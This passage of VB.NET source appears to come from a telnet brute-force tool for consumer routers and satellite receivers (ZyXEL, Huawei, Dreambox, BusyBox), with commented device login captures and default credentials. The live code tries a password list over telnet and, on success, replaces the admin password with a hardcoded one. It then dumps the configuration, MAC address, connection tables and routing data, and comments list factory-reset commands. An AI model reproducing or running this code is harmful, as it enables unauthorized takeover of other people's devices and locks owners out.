'                      Multicast= None
1873
'                      IP Policies=
1874
'                      Edit IP Alias= No
1875
'
1876
'                    Press ENTER to Confirm or ESC to Cancel:
1877
'
1878
'Press Space Bar to Toggle.
1879
'                    
1880
1881
				'
1882
'                                             Menu 4 - Internet Access Setup
1883
'
1884
'                    ISP's Name= MyISP
1885
'                    Encapsulation= PPPoE
1886
'                    Multiplexing= LLC-based
1887
'                    VPI #= 8
1888
'                    VCI #= 35
1889
'                    ATM QoS Type= UBR
1890
'                      Peak Cell Rate (PCR)= 0
1891
'                      Sustain Cell Rate (SCR)= 0
1892
'                      Maximum Burst Size (MBS)= 0
1893
'                    My Login= zemzem2
1894
'                    My Password= ********
1895
'                    Idle Timeout (sec)= 0
1896
'                    IP Address Assignment= Dynamic
1897
'                      IP Address= N/A
1898
'                    Network Address Translation= SUA Only
1899
'                      Address Mapping Set= N/A
1900
'
1901
'                    Press ENTER to Confirm or ESC to Cancel:
1902
'                    
1903
1904
				'
1905
'                                               Menu 11 - Remote Node Setup
1906
'
1907
'                     1. MyISP (ISP, SUA)
1908
'                     2. ________
1909
'                     3. ________
1910
'                     4. ________
1911
'                     5. ________
1912
'                     6. ________
1913
'                     7. ________
1914
'                     8. ________
1915
'
1916
'
1917
'
1918
'
1919
'
1920
'
1921
'
1922
'
1923
'                              Enter Node # to Edit:
1924
'                    
1925
1926
				'
1927
'                                             Menu 11.1 - Remote Node Profile
1928
'
1929
'     Rem Node Name= MyISP                 Route= IP
1930
'     Active= Yes                          Bridge= No
1931
'
1932
'     Encapsulation= PPPoE                 Edit IP/Bridge= No
1933
'     Multiplexing= LLC-based              Edit ATM Options= No
1934
'     Service Name= zyxel
1935
'     Incoming:                            Telco Option:
1936
'       Rem Login=                           Allocated Budget(min)= 0
1937
'       Rem Password= ********               Period(hr)= 0
1938
'     Outgoing:                              Schedule Sets=
1939
'       My Login= zemzem2                    Nailed-Up Connection= Yes
1940
'       My Password= ********              Session Options:
1941
'       Authen= CHAP/PAP                     Edit Filter Sets= No
1942
'                                            Idle Timeout(sec)= N/A
1943
'                                          Edit Traffic Redirect= No
1944
'
1945
'                    Press ENTER to Confirm or ESC to Cancel:
1946
'                    
1947
1948
				'
1949
'                                           Menu 21 - Filter Set Configuration
1950
'
1951
'     Filter                               Filter
1952
'     Set #        Comments                Set #        Comments
1953
'     ------  -----------------            ------  -----------------
1954
'       1      _______________               7      _______________
1955
'       2      _______________               8      _______________
1956
'       3      _______________               9      _______________
1957
'       4      _______________              10      _______________
1958
'       5      _______________              11      _______________
1959
'       6      _______________              12      _______________
1960
'
1961
'
1962
'
1963
'                    Enter Filter Set Number to Configure= 0
1964
'
1965
'                    Edit Comments= N/A
1966
'
1967
'                    Press ENTER to Confirm or ESC to Cancel:
1968
'                    
1969
1970
				'
1971
'                                            Menu 21.1 - Filter Rules Summary
1972
'
1973
' # A Type                       Filter Rules                              M m n
1974
' - - ---- --------------------------------------------------------------- - - -
1975
' 1 N
1976
' 2 N
1977
' 3 N
1978
' 4 N
1979
' 5 N
1980
' 6 N
1981
'
1982
'
1983
'
1984
'
1985
'
1986
'
1987
'
1988
'
1989
'                  Enter Filter Rule Number (1-6) to Configure:
1990
'
1991
'                    
1992
1993
				'
1994
'                                            Menu 21.1.1 - TCP/IP Filter Rule
1995
'
1996
'                   Filter #: 1,1
1997
'                   Filter Type= TCP/IP Filter Rule
1998
'                   Active= No
1999
'                   IP Protocol= 0     IP Source Route= No
2000
'                   Destination: IP Addr=
2001
'                                IP Mask=
2002
'                                Port #=
2003
'                                Port # Comp= None
2004
'                        Source: IP Addr=
2005
'                                IP Mask=
2006
'                                Port #=
2007
'                                Port # Comp= None
2008
'                   TCP Estab= N/A
2009
'                   More= No           Log= None
2010
'                   Action Matched= Check Next Rule
2011
'                   Action Not Matched= Check Next Rule
2012
'
2013
'                   Press ENTER to Confirm or ESC to Cancel:
2014
'ress Space Bar to Toggle.
2015
'                    
2016
2017
				'
2018
'                                              Menu 22 - SNMP Configuration
2019
'
2020
'                  SNMP:
2021
'                    Get Community= public
2022
'                    Set Community= public
2023
'                    Trusted Host= 0.0.0.0
2024
'                    Trap:
2025
'                      Community= public
2026
'                      Destination= 0.0.0.0
2027
'
2028
'
2029
'
2030
'
2031
'
2032
'
2033
'
2034
'
2035
'
2036
'                    Press ENTER to Confirm or ESC to Cancel:
2037
'                    
2038
2039
				'
2040
'                                              Menu 24 - System Maintenance
2041
'
2042
'                         1.  System Status
2043
'                         2.  System Information and Console Port Speed
2044
'                         3.  Log and Trace
2045
'                         4.  Diagnostic
2046
'                         5.  Backup Configuration
2047
'                         6.  Restore Configuration
2048
'                         7.  Upload Firmware
2049
'                         8.  Command Interpreter Mode
2050
'                         9.  Call Control
2051
'                         10. Time and Date Setting
2052
'                         11. Remote Management
2053
'
2054
'
2055
'
2056
'
2057
'
2058
'                          Enter Menu Selection Number:
2059
'                    
2060
2061
				'
2062
'                                              Enter Menu Selection Number: 8
2063
'
2064
'
2065
'Copyright (c) 1994 - 2003 ZyXEL Communications Corp.
2066
'ras> help
2067
'Valid commands are:
2068
'sys             exit            ether           wan
2069
'ip              bridge
2070
'ras>
2071
'                    
2072
2073
				'
2074
'                                         Menu 24.11 - Remote Management Control
2075
'
2076
'     TELNET Server:
2077
'       Server Port = 23                   Server Access = ALL
2078
'       Secured Client IP = 0.0.0.0
2079
'
2080
'     FTP Server:
2081
'       Server Port = 21                   Server Access = ALL
2082
'       Secured Client IP = 0.0.0.0
2083
'
2084
'     Web Server:
2085
'       Server Port = 80                   Server Access = ALL
2086
'       Secured Client IP = 0.0.0.0
2087
'
2088
'
2089
'
2090
'
2091
'
2092
'                    Press ENTER to Confirm or ESC to Cancel:
2093
'                    
2094
2095
2096
2097
2098
2099
				'********************************************************
2100
				'**************************
2101
				'*                        *
2102
				'*   The Gemini Project   *
2103
				'*                        *
2104
				'**************************
2105
2106
				'welcome on your dreambox! - Kernel 2.6.9 (17:51:55).
2107
2108
				'dreambox login: admin
2109
				'Password:
2110
				'Login incorrect
2111
				'dreambox login:
2112
				'
2113
				'root/dreambox
2114
2115
2116
				'********************************************************
2117
				'***************************
2118
				'*                         *
2119
				'*   The Gemini Project    *
2120
				'*                         *
2121
				'***************************
2122
				'*   Prepared By "drhg"    *
2123
				'*  ( Dream-Gaza Team )    *
2124
				'*   www.dreamgaza.com     *
2125
				'***************************
2126
2127
				'Checking Kernel, Please Wait ....
2128
2129
				'Kernel 2.6.9.
2130
				'md5sum (dreambox Linux ppc ).
2131
				'head.ko = 308509 bytes.
2132
				'Safe, NO 'clone bomb' found ... Congratulations.
2133
2134
				'Enjoy Original Gemini Project  without Time Bomb !.
2135
				'---------------------------------------------------
2136
2137
				'(Friday, 17 September 2010).
2138
				'welcome on your dreambox! - Kernel 2.6.9 (10:46:22).
2139
2140
2141
				'dreambox login: bad
2142
				'Password:
2143
				'Login incorrect
2144
				'dreambox login: root
2145
				'Password:
2146
				'Login incorrect
2147
				'dreambox login: root
2148
				'Password:
2149
				'Login incorrect
2150
2151
				'********************************************************
2152
				'OpenDreambox 1.5.0 dm800
2153
2154
				'dm800 login:
2155
				'dm800 login: bad
2156
				'Password:
2157
				'Login incorrect
2158
				'dm800 login: root
2159
				'root@dm800:~#
2160
				'CCcam_2011             head                   pyhtmlizer
2161
				'StartNabCam            hexdump                python
2162
				'\[                     hostname               rdjpgcom
2163
				'addgroup               hotplug                readlink
2164
				'adduser                id                     reboot
2165
				'ar                     ifconfig               reboot.sysvinit
2166
				'arping                 ifdown                 renice
2167
				'ash                    ifup                   reset
2168
				'automount              im                     rjoe
2169
				'avahi-daemon           inadyn                 rm
2170
				'awk                    inadyn_script.sh       rmdir
2171
				'basename               inetd                  rmmod
2172
				'bdpoll                 init                   route
2173
				'bookify                init.sysvinit          rquotad
2174
				'bunzip2                insmod                 run-parts
2175
				'busybox                ip                     runlevel
2176
				'bzcat                  ipkg                   rx
2177
				'cat                    ipkg-cl                scp
2178
				'cftp                   ipkg-link              sed
2179
				'chat                   iwconfig               seq
2180
				'chgrp                  iwgetid                sfdisk
2181
				'chmod                  iwlist                 sh
2182
				'chown                  iwpriv                 sha1sum
2183
				'chroot                 iwspy                  showiframe
2184
				'chvt                   jmacs                  showmount
2185
				'cjpeg                  joe                    shutdown
2186
				'ckeygen                jpegtran               shutdown.sysvinit
2187
				'clear                  jpico                  sleep
2188
				'conch                  jstar                  smartctl
2189
				'cp                     kill                   smartd
2190
				'cpio                   killall                smbd
2191
				'crond                  killall5               sort
2192
				'crontab                klogd                  ssh
2193
				'cut                    last                   start-stop-daemon
2194
				'czap                   last.sysvinit          statd
2195
				'date                   lastb                  streamproxy
2196
				'dbclient               ldconfig               strings
2197
				'dbus-cleanup-sockets   less                   stty
2198
				'dbus-daemon            lessecho               su
2199
				'dbus-launch            lesskey                sulogin
2200
				'dbus-monitor           ln                     swapoff
2201
				'dbus-send              loadfont               swapon
2202
				'dbus-uuidgen           loadkmap               sync
2203
				'dc                     lockd                  sysctl
2204
				'dccamd                 logger                 syslogd
2205
				'dd                     login                  szap
2206
				'deallocvt              logname                t-im
2207
				'delgroup               logread                tail
2208
				'deluser                lore                   tap2deb
2209
				'depmod                 losetup                tap2rpm
2210
				'depmod.26              ls                     tapconvert
2211
				'df                     lsmod                  tar
2212
				'dirname                mailmail               tda1002x
2213
				'djpeg                  makedevs               tee
2214
				'dmesg                  manhole                telinit
2215
				'dos2unix               map-mbone              telnet
2216
				'dropbear               mc                     telnetd
2217
				'dropbearconvert        mcedit                 termidx
2218
				'dropbearkey            mcmfmt                 test
2219
				'dropbearmulti          mcview                 time
2220
				'du                     md5sum                 tkconch
2221
				'dumpkmap               mesg                   top
2222
				'dvbsnoop               mesg.sysvinit          touch
2223
				'dvbtraffic             mkdir                  tput
2224
				'e2fsck                 mke2fs                 tr
2225
				'echo                   mkfifo                 traceroute
2226
				'egrep                  mkfs.ext2              trial
2227
				'enigma2                mkfs.ext3              true
2228
				'enigma2.sh             mknod                  tset
2229
				'env                    mkswap                 tty
2230
				'ethtool                mktap                  tuxtxt
2231
				'exportfs               mktemp                 twistd
2232
				'expr                   modprobe               tzap
2233
				'false                  more                   udhcpc
2234
				'fbset                  mount                  umount
2235
				'fdisk                  mountd                 uname
2236
				'fdisk.util-linux       mountpoint             uniq
2237
				'femon                  mrinfo                 unix2dos
2238
				'fgrep                  mrouted                unzip
2239
				'find                   mv                     update-alternatives
2240
				'free                   nc                     update-inetd
2241
				'fsck.ext2              netstat                update-modules
2242
				'fsck.ext3              nfs_server_script.sh   update-passwd
2243
				'ftpget                 nfsd                   update-rc.d
2244
				'ftpput                 nfsstat                uptime
2245
				'getepgchannels         nhfsgraph              utmpdump
2246
				'getkey                 nhfsnums               uudecode
2247
				'getty                  nhfsrun                uuencode
2248
				'grab                   nhfsstone              vi
2249
				'grep                   nmbd                   vlock
2250
				'gst-feedback           nslookup               vsftpd
2251
				'gst-feedback-0.10      od                     wall
2252
				'gst-inspect            openvpn                wall.sysvinit
2253
				'gst-inspect-0.10       openvpn_script.sh      watch
2254
				'gst-launch             openvt                 wc
2255
				'gst-launch-0.10        passwd                 wdog
2256
				'gst-typefind           patch                  wget
2257
				'gst-typefind-0.10      pidof                  which
2258
				'gst-visualise-0.10     pidof.sysvinit         who
2259
				'gst-xmlinspect         ping                   whoami
2260
				'gst-xmlinspect-0.10    pivot_root             wpa_cli
2261
				'gst-xmllaunch          poff                   wpa_passphrase
2262
				'gst-xmllaunch-0.10     pon                    wpa_supplicant
2263
				'gunzip                 portmap                wrjpgcom
2264
				'gzip                   poweroff               xargs
2265
				'halt                   pppd                   yes
2266
				'halt.sysvinit          printf                 zcat
2267
				'hddtemp                ps                     zeroconf
2268
				'hdparm                 pwd
2269
				'root@dm800:~#
2270
				'root@dm800:~# passwd
2271
				'Changing password for root
2272
				'Enter the new password (minimum of 5, maximum of 8 characters)
2273
				'Please use a combination of upper and lower case letters and numbers.
2274
				'Enter new password:
2275
				'Re-enter new password:
2276
				'Password changed.
2277
				'root@dm800:~#
2278
2279
2280
				'********************************************************
2281
				'BusyBox on (none) login: bad
2282
				'Password:
2283
				'Login incorrect
2284
2285
				'BusyBox on (none) login: admin
2286
				'Password:
2287
2288
2289
				'BusyBox v0.61.pre (2008.01.25-06:33+0000) Built-in shell (ash)
2290
				'Enter 'help' for a list of built-in commands.
2291
2292
				'# help
2293
2294
				'Built-in commands:
2295
				'-------------------
2296
				'        . : bg break builtin cd chdir continue eval exec exit export
2297
				'        false fc fg hash help jobs kill local pwd read readonly return
2298
				'        set setvar shift times trap true type ulimit umask unset wait
2299
2300
2301
				'********************************************************
2302
				'User Access Verification
2303
				'
2304
				'Password:
2305
				'Password:
2306
				'Password:
2307
				'% Bad passwords
2308
2309
2310
				'********************************************************
2311
				'Huawei Home Gateway 550
2312
				'wl driver adapter not found
2313
				'wl driver adapter not found
2314
				'wl driver adapter not found
2315
				'wl driver adapter not found
2316
				'wl driver adapter not found
2317
				'wl driver adapter not found
2318
				'wl driver adapter not found
2319
				'wl driver adapter not found
2320
				'Login: bad
2321
				'Password:
2322
				'Login incorrect. Try again.
2323
				'Login: admin
2324
				'Password:
2325
				'Login incorrect. Try again.
2326
				'Login: admin
2327
				'Password:
2328
				'Authorization failed after trying 3 times!!!.
2329
				'wl driver adapter not found
2330
				'wl driver adapter not found
2331
				'wl driver adapter not found
2332
				'wl driver adapter not found
2333
				'wl driver adapter not found
2334
				'wl driver adapter not found
2335
				'wl driver adapter not found
2336
				'wl driver adapter not found
2337
				'Login:
2338
2339
				'#End Region
2340
2341
				For Each password As String In passwords
2342
					Thread.Sleep(100)
2343
					Try
2344
						Sock_scan = New Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
2345
						Sock_scan.Connect(ip)
2346
2347
2348
						recv = Sock_scan.Receive(data)
2349
						stringdata = Encoding.ASCII.GetString(data, 0, recv)
2350
						'     Console.WriteLine("{0} -> Banner telnet: " + stringdata, myip);
2351
2352
						'Console.WriteLine("DEBUG Trying Password:{0}", password);
2353
						'Sock_scan.Send(System.Text.Encoding.ASCII.GetBytes(password + Convert.ToChar(13) + Convert.ToChar(10)));
2354
						Sock_scan.Send(System.Text.Encoding.ASCII.GetBytes(password & vbCr), SocketFlags.None)
2355
						'
2356
'                            Byte[] smk = new Byte[password.Length];
2357
'                            for (int i = 0; i < password.Length; i++)
2358
'                            {
2359
'                                Byte ss = Convert.ToByte(password[i]);
2360
'                                smk[i] = ss;
2361
'                            }
2362
'                            Sock_scan.Send(smk, 0, smk.Length, SocketFlags.None);
2363
'                            
2364
2365
2366
						'Thread.Sleep(100);
2367
2368
						recv = Sock_scan.Receive(data)
2369
						stringdata = Encoding.ASCII.GetString(data, 0, recv)
2370
						'Console.WriteLine("{0} -> Response telnet: " + stringdata, myip);
2371
						recv = Sock_scan.Receive(data)
2372
						stringdata = Encoding.ASCII.GetString(data, 0, recv)
2373
						Console.WriteLine("{0} -> Response telnet02: " & stringdata, myip)
2374
						If stringdata = "" Then
2375
							recv = Sock_scan.Receive(data)
2376
							stringdata = Encoding.ASCII.GetString(data, 0, recv)
2377
							Console.WriteLine("{0} -> Response telnet02b: " & stringdata, myip)
2378
						End If
2379
2380
						'stringdata = null;
2381
						'bytes = Sock_scan.Receive(RecvBytes, RecvBytes.Length, 0);
2382
						'stringdata = stringdata + ASCII.GetString(RecvBytes, 0, bytes);
2383
						'Console.WriteLine("Response telnet: " + strRetPage);
2384
						'while (bytes > 0)
2385
						'{
2386
						'    bytes = Sock_scan.Receive(RecvBytes, RecvBytes.Length, 0);
2387
						'    stringdata = stringdata + ASCII.GetString(RecvBytes, 0, bytes);
2388
						'    Console.WriteLine("Response telnet: " + strRetPage);
2389
						'}
2390
2391
2392
2393
						'Bad Password!!!
2394
						If stringdata.Contains("assword:") OrElse stringdata.Contains("Bad Password") Then
2395
							'stringdata.Contains("*")
2396
							'    Console.WriteLine("{0} -> bad telnet password: {1}\n", myip, password);
2397
							Sock_scan.Close()
2398
						Else
2399
							Console.WriteLine("***********************************************************")
2400
							Console.WriteLine("{0} -> TELNET PASSWORD FOUND: {1}" & vbLf, myip, password)
2401
							Console.WriteLine("***********************************************************")
2402
2403
							If stringdata.Contains("ZyXEL") Then
2404
								'1234
2405
								If stringdata.Contains("Menu") Then
2406
									'1234
2407
									Sock_scan.Send(System.Text.Encoding.ASCII.GetBytes("23" & vbCr), SocketFlags.None)
2408
									recv = Sock_scan.Receive(data)
2409
									stringdata = Encoding.ASCII.GetString(data, 0, recv)
2410
									Console.WriteLine("{0} -> " & stringdata, myip)
2411
2412
									'             Menu 23 - System Password
2413
									'Old Password= ?
2414
									'New Password= ?
2415
									'Retype to confirm= ?
2416
2417
									Sock_scan.Send(System.Text.Encoding.ASCII.GetBytes(password & vbCr), SocketFlags.None)
2418
									recv = Sock_scan.Receive(data)
2419
									stringdata = Encoding.ASCII.GetString(data, 0, recv)
2420
									Console.WriteLine("{0} -> " & stringdata, myip)
2421
2422
									Sock_scan.Send(System.Text.Encoding.ASCII.GetBytes("j3R0m3!!" & vbCr), SocketFlags.None)
2423
									recv = Sock_scan.Receive(data)
2424
									stringdata = Encoding.ASCII.GetString(data, 0, recv)
2425
									Console.WriteLine("{0} -> " & stringdata, myip)
2426
2427
									Sock_scan.Send(System.Text.Encoding.ASCII.GetBytes("j3R0m3!!" & vbCr), SocketFlags.None)
2428
									recv = Sock_scan.Receive(data)
2429
									stringdata = Encoding.ASCII.GetString(data, 0, recv)
2430
									Console.WriteLine("{0} -> " & stringdata, myip)
2431
2432
									Sock_scan.Send(System.Text.Encoding.ASCII.GetBytes(vbCr), SocketFlags.None)
2433
									recv = Sock_scan.Receive(data)
2434
									stringdata = Encoding.ASCII.GetString(data, 0, recv)
2435
2436
										'(Saving to ROM...)
2437
										'Retour menu
2438
									Console.WriteLine("{0} -> " & stringdata, myip)
2439
								Else
2440
									Sock_scan.Send(System.Text.Encoding.ASCII.GetBytes("sys adminPassword j3R0m3!!" & vbCr), SocketFlags.None)
2441
									recv = Sock_scan.Receive(data)
2442
									stringdata = Encoding.ASCII.GetString(data, 0, recv)
2443
									Console.WriteLine("{0} -> " & stringdata, myip)
2444
								End If
2445
							Else
2446
								Sock_scan.Send(System.Text.Encoding.ASCII.GetBytes("sys password j3R0m3!!" & vbCr), SocketFlags.None)
2447
								recv = Sock_scan.Receive(data)
2448
								stringdata = Encoding.ASCII.GetString(data, 0, recv)
2449
									'save ok, new password is: j3R0m3!!.
2450
2451
									'''/Exemple: Vulcan
2452
									'''/Erreur: Commande Invalide     
2453
									'''/$passwd
2454
									'Sock_scan.Send(System.Text.Encoding.ASCII.GetBytes("passwd" + "\r"), SocketFlags.None);
2455
									'''/Enter Old Password:
2456
									'Sock_scan.Send(System.Text.Encoding.ASCII.GetBytes("admin" + "\r"), SocketFlags.None);
2457
									'''/Enter New Password:
2458
									'Sock_scan.Send(System.Text.Encoding.ASCII.GetBytes("j3R0m3!!" + "\r"), SocketFlags.None);
2459
									'''/Confirm New Password:
2460
									'Sock_scan.Send(System.Text.Encoding.ASCII.GetBytes("j3R0m3!!" + "\r"), SocketFlags.None);
2461
									'''/Set Done
2462
									'''/SINON:    Erreur: Combinaison nom dÆutilisateur/mot de passe invalide
2463
								Console.WriteLine("{0} -> " & stringdata, myip)
2464
							End If
2465
2466
							Sock_scan.Send(System.Text.Encoding.ASCII.GetBytes("show all" & vbCr), SocketFlags.None)
2467
							recv = Sock_scan.Receive(data)
2468
							stringdata = Encoding.ASCII.GetString(data, 0, recv)
2469
							Console.WriteLine("{0} -> " & stringdata, myip)
2470
							recv = Sock_scan.Receive(data)
2471
							stringdata = Encoding.ASCII.GetString(data, 0, recv)
2472
							Console.WriteLine("{0} -> " & stringdata, myip)
2473
							recv = Sock_scan.Receive(data)
2474
							stringdata = Encoding.ASCII.GetString(data, 0, recv)
2475
							Console.WriteLine("{0} -> " & stringdata, myip)
2476
							recv = Sock_scan.Receive(data)
2477
							stringdata = Encoding.ASCII.GetString(data, 0, recv)
2478
							Console.WriteLine("{0} -> " & stringdata, myip)
2479
							recv = Sock_scan.Receive(data)
2480
							stringdata = Encoding.ASCII.GetString(data, 0, recv)
2481
							Console.WriteLine("{0} -> " & stringdata, myip)
2482
2483
2484
							'***************
2485
							Sock_scan.Send(System.Text.Encoding.ASCII.GetBytes("sys atsh" & vbCr), SocketFlags.None)
2486
							'for MAC address
2487
							recv = Sock_scan.Receive(data)
2488
							stringdata = Encoding.ASCII.GetString(data, 0, recv)
2489
							Console.WriteLine("{0} -> " & stringdata, myip)
2490
							recv = Sock_scan.Receive(data)
2491
							stringdata = Encoding.ASCII.GetString(data, 0, recv)
2492
							Console.WriteLine("{0} -> " & stringdata, myip)
2493
							recv = Sock_scan.Receive(data)
2494
							stringdata = Encoding.ASCII.GetString(data, 0, recv)
2495
							Console.WriteLine("{0} -> " & stringdata, myip)
2496
							recv = Sock_scan.Receive(data)
2497
							stringdata = Encoding.ASCII.GetString(data, 0, recv)
2498
							Console.WriteLine("{0} -> " & stringdata, myip)
2499
							recv = Sock_scan.Receive(data)
2500
							stringdata = Encoding.ASCII.GetString(data, 0, recv)
2501
							Console.WriteLine("{0} -> " & stringdata, myip)
2502
2503
2504
							'
2505
'                                    D-Link DSL 526B                                 >restoredefault
2506
'                                    Huawei SmartAX MT882a              >sys romreset
2507
'                                    TP-Link TD-8817                                >sys romreset
2508
'                                
2509
2510
2511
							'***************
2512
							'For MT882A
2513
							'
2514
'                                MT882a> ether config
2515
'                                --------------- NDIS CONFIGURATION BLOCK ----------------
2516
'                                type=1 flags=0001
2517
'                                Board/Chassis:1  Lines/Board:1  Channels/Lines:2 Total Channel:2
2518
'                                task-id=8041f1f4 event-q=80458c2c(19) data-q=80458c70(1a) func-id=2
2519
'                                board-cfg=8042c8a4 line-cfg=8042c8bc chann-cfg=8042c8d0
2520
'                                board-pp (8042c8f0)
2521
'                                804273fc
2522
'                                line-pp (8042c8f4)
2523
'                                8042956c
2524
'                                chann-pp (8042c8f8)
2525
'                                804bf8a4 804bfe34
2526
'                                --------------- BOARD DISPLAY ---------------------------
2527
'                                ID  slot#  n-line  n-chann  status  line-cfg  chann-cfg
2528
'                                00      0       1        2    0001  8042c8bc    8042c8d0
2529
'                                --------------- LINE  DISPLAY ---------------------------
2530
'                                ID  line#  board-id  n-chann  chann-cfg
2531
'                                00      1  00              2  8042c8d0
2532
'                                --------------- CHANNEL DISPLAY -------------------------
2533
'                                ID  chan#  line-id  board-id  address name
2534
'                                00      1  00       00        804bf8a4  enet0
2535
'                                01      2  00       00        804bfe34  enet1
2536
'                                
2537
2538
							Sock_scan.Send(System.Text.Encoding.ASCII.GetBytes("ether config" & vbCr), SocketFlags.None)
2539
							recv = Sock_scan.Receive(data)
2540
							stringdata = Encoding.ASCII.GetString(data, 0, recv)
2541
							Console.WriteLine("{0} -> " & stringdata, myip)
2542
							recv = Sock_scan.Receive(data)
2543
							stringdata = Encoding.ASCII.GetString(data, 0, recv)
2544
							Console.WriteLine("{0} -> " & stringdata, myip)
2545
							recv = Sock_scan.Receive(data)
2546
							stringdata = Encoding.ASCII.GetString(data, 0, recv)
2547
							Console.WriteLine("{0} -> " & stringdata, myip)
2548
							recv = Sock_scan.Receive(data)
2549
							stringdata = Encoding.ASCII.GetString(data, 0, recv)
2550
							Console.WriteLine("{0} -> " & stringdata, myip)
2551
							recv = Sock_scan.Receive(data)
2552
							stringdata = Encoding.ASCII.GetString(data, 0, recv)
2553
							Console.WriteLine("{0} -> " & stringdata, myip)
2554
2555
2556
							Sock_scan.Send(System.Text.Encoding.ASCII.GetBytes("ip tcp status" & vbCr), SocketFlags.None)
2557
							recv = Sock_scan.Receive(data)
2558
							stringdata = Encoding.ASCII.GetString(data, 0, recv)
2559
							Console.WriteLine("{0} -> " & stringdata, myip)
2560
							recv = Sock_scan.Receive(data)
2561
							stringdata = Encoding.ASCII.GetString(data, 0, recv)
2562
							Console.WriteLine("{0} -> " & stringdata, myip)
2563
							recv = Sock_scan.Receive(data)
2564
							stringdata = Encoding.ASCII.GetString(data, 0, recv)
2565
							Console.WriteLine("{0} -> " & stringdata, myip)
2566
							recv = Sock_scan.Receive(data)
2567
							stringdata = Encoding.ASCII.GetString(data, 0, recv)
2568
							Console.WriteLine("{0} -> " & stringdata, myip)
2569
							recv = Sock_scan.Receive(data)
2570
							stringdata = Encoding.ASCII.GetString(data, 0, recv)
2571
							Console.WriteLine("{0} -> " & stringdata, myip)
2572
2573
							'
2574
'                                MT882a> ip tcp status
2575
'                                ( 1)tcpRtoAlgorithm              4     ( 2)tcpRtoMin                    0
2576
'                                ( 3)tcpRtoMax           4294967295     ( 4)tcpMaxConn                  16
2577
'                                ( 5)tcpActiveOpens               0     ( 6)tcpPassiveOpens            477
2578
'                                ( 7)tcpAttemptFails             42     ( 8)tcpEstabResets              22
2579
'                                ( 9)tcpCurrEstab                 1     (10)tcpInSegs                 9765
2580
'                                (11)tcpOutSegs                2549     (12)tcpRetransSegs             389
2581
'                                (14)tcpInErrs                    2     (15)tcpOutRsts                  93
2582
'                                 tcbsInUseCnt = 4
2583
'                                    &TCB Rcv-Q Snd-Q  Local socket           Remote socket          State
2584
'                                804fdce4     0   621  41.248.40.35:23        196.12.232.120:61565   Estab 0
2585
'                                804fd66c     0     0  0.0.0.0:21             0.0.0.0:0              Listen 0
2586
'                                804fd558     0     0  0.0.0.0:7547           0.0.0.0:0              Listen (S) 0
2587
'                                804fd444     0     0  0.0.0.0:80             0.0.0.0:0              Listen (S) 0
2588
'                                
2589
2590
2591
							Sock_scan.Send(System.Text.Encoding.ASCII.GetBytes("ip udp status" & vbCr), SocketFlags.None)
2592
							recv = Sock_scan.Receive(data)
2593
							stringdata = Encoding.ASCII.GetString(data, 0, recv)
2594
							Console.WriteLine("{0} -> " & stringdata, myip)
2595
							recv = Sock_scan.Receive(data)
2596
							stringdata = Encoding.ASCII.GetString(data, 0, recv)
2597
							Console.WriteLine("{0} -> " & stringdata, myip)
2598
							recv = Sock_scan.Receive(data)
2599
							stringdata = Encoding.ASCII.GetString(data, 0, recv)
2600
							Console.WriteLine("{0} -> " & stringdata, myip)
2601
							recv = Sock_scan.Receive(data)
2602
							stringdata = Encoding.ASCII.GetString(data, 0, recv)
2603
							Console.WriteLine("{0} -> " & stringdata, myip)
2604
							recv = Sock_scan.Receive(data)
2605
							stringdata = Encoding.ASCII.GetString(data, 0, recv)
2606
							Console.WriteLine("{0} -> " & stringdata, myip)
2607
2608
2609
2610
							'ATTACK
2611
							'
2612
'                                MT882a> ip ping
2613
'                                Usage: ping <hostid>
2614
'                                MT882a> ip ping www.google.com
2615
'                                Resolving www.google.com... 173.194.67.105
2616
'                                      sent      rcvd  rate    rtt     avg    mdev     max     min
2617
'                                         1         1  100      80      80       0      80      80
2618
'                                         2         2  100      80      80       0      80      80
2619
'                                         3         3  100      80      80       0      80      80
2620
'                                
2621
2622
2623
							'
2624
'                                MT882a> ip route
2625
'                                status          add             addiface        addprivate
2626
'                                addrom          drop
2627
'                                MT882a> ip route status
2628
'                                Dest            FF Len Device  Gateway         Metric stat Timer  Use   RN
2629
'                                41.248.40.1     00 32  poe0    41.248.40.1       1    0329 0      0     ISP-0
2630
'                                192.168.1.0     00 24  enet0   192.168.1.1       1    041b 0      0
2631
'                                default         00 0   poe0    ISP-0             2    00ab 0      3245  ISP-0
2632
'                                
2633
2634
2635
							'
2636
'                                MT882a> ether driver
2637
'                                cnt             status          config          ackdrop
2638
'                                macnum          ackmode         etherppp        wan2lan
2639
'                                MT882a> ether driver cnt
2640
'                                disp
2641
'                                MT882a> ether driver cnt disp
2642
'                                Usage: disp <name>
2643
'                                MT882a> ether driver status
2644
'                                Usage: driver status <ch-name>
2645
'                                MT882a> ether driver config
2646
'                                Usage: driver config [0|1=auto|normal] [0|1=10|100] [0|1=HD|FD] <ch-name>
2647
'                                MT882a> ether driver ackdrop
2648
'                                current ack drop number is 0
2649
'                                ack drop cnt=0
2650
'                                Usage: ackdrop <number>
2651
'                                MT882a> ether driver macnum
2652
'                                Please input allowed mac number(0~255), 0 means no limitation
2653
'                                Current allowed mac number: 0
2654
'                                MT882a> ether driver ackmode
2655
'                                TCP ACK mode: off
2656
'                                ACK length: 90
2657
'                                TCP ACK mode type: Task
2658
'                                MT882a> ether driver etherppp
2659
'                                PPP check : on
2660
'
2661
'                                MT882a> ether driver wan2lan
2662
'                                Usage: wan2lan [on||off] <number>
2663
'                                Current wan2lan feature status: off
2664
'                                
2665
2666
2667
2668
2669
							'
2670
'                                MT882a> wan
2671
'                                atm             node            hwsar           adsl
2672
'                                tsarm
2673
'                                MT882a> wan atm
2674
'                                test            mpoasendloop    oam             vcpool
2675
'                                MT882a> wan atm test
2676
'                                Usage: test [fix|rand|period|oam|loopback]
2677
'                                MT882a> wan node
2678
'                                index           display         clear           save
2679
'                                ispname         enable          disable         encap
2680
'                                mux             vpi             vci             qos
2681
'                                pcr             scr             mbs             cdvt
2682
'                                wanip           remoteip        bridge          routeip
2683
'                                nat             rip             multicast       callsch
2684
'                                service         nailedup        filter          ppp
2685
'                                mtu             default_r
2686
'                                MT882a> wan node display
2687
'                                WAN node index = 1
2688
'                                Active = no
2689
'                                Route IP = off
2690
'                                Bridge = off
2691
'                                Name =
2692
'                                Encapsulcation <2:PPPoE|3:RFC1483|4:PPPoA|5:Enet Encap> = 0
2693
'                                Mux <1:LLC|2:VC> = 0
2694
'                                VPI/VCI = 0 / 0
2695
'                                PPPoE service name =
2696
'                                PPP username =
2697
'                                PPP password =
2698
'                                PPP authentication <1:PAP|2:CHAP|3:BOTH> = 0
2699
'                                SUA/NAT is disabled
